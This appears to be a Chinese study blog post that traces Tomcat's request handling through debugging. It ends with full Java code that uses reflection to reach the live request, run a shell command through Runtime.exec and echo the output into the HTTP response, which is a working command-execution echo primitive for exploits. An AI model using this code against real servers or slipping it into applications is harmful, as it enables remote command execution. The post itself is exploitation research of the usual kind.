springboot数据回显_tomcat回显学习-2

tomcat通用回显学习-2

在上一篇中, 学习了tomcat回显的第一种方法,说实话并不确定是否通用, 和 lucifaer师傅的两种办法都不一致, 仅仅在测试环境中发现是可以回显的.
本篇即学习 lucifaer师傅文章Tomcat通用回显学习中的其中一种方法, 通过 global变量获取 request并回显数据

环境搭建

因为 springboot的项目自带 tomcat,所以使用的是 spring项目. 其他的环境需要自己来配置了
  1. git clone https://github.com/itinypocket/spring-boot-study.git
  2. 这里随便挑了spring-boot-upload
  3. UploadController里添加一个函数@GetMapping("/upload2") public String upload2() { String string = "123123"; return "upload"; }
  4. 断点打在String string="123123"; 这一行上
  5. Debug模式运行 断点如下

b8bb234376a71f9827bf8263d295a42a.png

前期调试

在上一篇中, 我们在追踪 request变量时,进入了 Connector类, 同样,这里还是由该类开始, 之前的调试不再复述

AbstractProtol.java类中, 可以下断点到790行,部分代码片段为

if (processor == null) {
    processor = getProtocol().createProcessor();
    register(processor);
}

processor.setSslSupport(
	wrapper.getSslSupport(getProtocol().getClientCertProvider()));

// Associate the processor with the connection
connections.put(socket, processor);

SocketState state = SocketState.CLOSED;
do {
    state = processor.process(wrapper, status);

可以看到, 在process==null时, 会通过getProtocol().createProcessor()先创建, 并调用了register函数, 跟进register函数

long count = registerCount.incrementAndGet();
RequestInfo rp =
    processor.getRequest().getRequestProcessor();
rp.setGlobalProcessor(global);
ObjectName rpName = new ObjectName(
	getProtocol().getDomain() +
	":type=RequestProcessor,worker="
	+ getProtocol().getName() +
	",name=" + getProtocol().getProtocolName() +
	"Request" + count);
if (getLog().isDebugEnabled()) {
    getLog().debug("Register " + rpName);
}
Registry.getRegistry(null, null).registerComponent(rp,
	rpName, null);
rp.setRpName(rpName);

可看到, RequestInfo变量作为global 的值进行了设置, 继续看一下setGlobalProcessor函数

//RequestInfo.java
global.addRequestProcessor( this );

thisRequestInfo对象添加到了global, 跳回AbstractProtol类,看一下global的声明

protected static class ConnectionHandler<S> implements AbstractEndpoint.Handler<S> {

        private final AbstractProtocol<S> proto;
        private final RequestGroupInfo global = new RequestGroupInfo();

可以看到 global对象为RequestGroupInfo类实例. 于是现在的问题在于如何获取global, 即 RequestGroupInfoglobal又是 AbstractProtocol#ConnectionHandler类实例的一个变量, 所以调用链变成了

AbstractProtocol#ConnectionHandler ->
    global(RequestGroupInfo) ->
        RequestInfo ->
	   processor# Request ->
		Response

找到 global

由文章: 深入了解Tomcat的系统架构 知道, 请由先由Connector获取, 经过ProtocolHandler处理完, 再交给Processor处理,最后返回。 所以由上一篇文章, 然后回到Connector寻找是否有global的变量

d6b4ee5b2135e18669afa63a8a69fea9.png

5145179e8df767920f4b12c2de7001d7.png

由上两张图可以看到, connector变量中存在着getProtocolHandler函数, 该函数的返回值中handler变量为AbstractProtocol#ConnectionHandler 于是调用链变成了

connector ->
    getProtocolHandler ->
        hanlder ->
            global -> 
              ...

找到cononector变量

同样由上篇tomcat架构的文章, 我们知道connector是由service服务来调用的, 而在 类org.apache.catalina.connector.CoyoteAdapter中,

connector.getService().getContainer().getPipeline().getFirst().invoke(
	request, response);

跟进connector.getService函数, 进入接口类public interface Service extends Lifecycle中, 利用idea的功能,找到其继承类StandardService

StandardService类中, 可以看到

protected Connector connectors[] = new Connector[0];
    ....
    @Override
    public void addConnector(Connector connector) {
        ...
    }

    @Override
    protected void initInternal() throws LifecycleException {

        super.initInternal();
        ...
        // Initialize our defined Connectors
        synchronized (connectorsLock) {
            for (Connector connector : connectors) {
                try {
                    connector.init();
                } catch (Exception e) {

所以可以在StandardService中找到connectors[]数组, 遍历输出 整个调用链变成了

StandardService ->
    connector[] ->
        getProtocolHandler ->
            handler  ->
                golbal ->
                    RequestGroupInfo ->
                         ....

实现

@GetMapping("/upload2")
    public String upload2() throws IOException, NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
        String string = "1231231";
        java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context");
        java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");
        java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req");
        java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
        contextField.setAccessible(true);
        serviceField.setAccessible(true);
        requestField.setAccessible(true);
        getHandlerMethod.setAccessible(true);
        org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
                (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext());
        org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);
        org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors();
        for (int i=0;i<connectors.length;i++) {
            if (4==connectors[i].getScheme().length()) {
                org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();
                if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) {
                    Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses();
                    for (int j = 0; j < classes.length; j++) {
                        if (52 == (classes[j].getName().length())||60 == (classes[j].getName().length())) {
                            System.out.println(classes[j].getName());
                            java.lang.reflect.Field globalField = classes[j].getDeclaredField("global");
                            java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors");
                            globalField.setAccessible(true);
                            processorsField.setAccessible(true);
                            org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler,null));
                            java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);
                            for (int k = 0; k < list.size(); k++) {
                                org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k));
                                System.out.println(tempRequest.getHeader("tomcat"));
                                org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1);
                                String cmd = "" + "ls" +"";
                                String[] cmds = !System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
                                java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                                java.util.Scanner s = new java.util.Scanner(in).useDelimiter("a");
                                String output = s.hasNext() ? s.next() : "";
                                java.io.Writer writer = request.getResponse().getWriter();
                                java.lang.reflect.Field usingWriter = request.getResponse().getClass().getDeclaredField("usingWriter");
                                usingWriter.setAccessible(true);
                                usingWriter.set(request.getResponse(), Boolean.FALSE);
                                writer.write(output);
                                writer.flush();
                                break;
                            }
                            break;
                        }
                    }
                }
                break;
            }
        }

        return "1234";
}

8a10ebdd0427aa5c1ad14110c04aad83.png

总结

在了解tomcat架构后, 对于request的调用, processorConnector, Service等之间的调用更加清楚了, 这里的每一次向上跟踪也不会搞的云里雾里的.

主要是根据lucifaer的文章, 大佬真强!

参考

  • Tomcat通用回显学习
  • 深入了解Tomcat的系统架构

TODO

  • 复现第三种办法, 即 register获取request
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值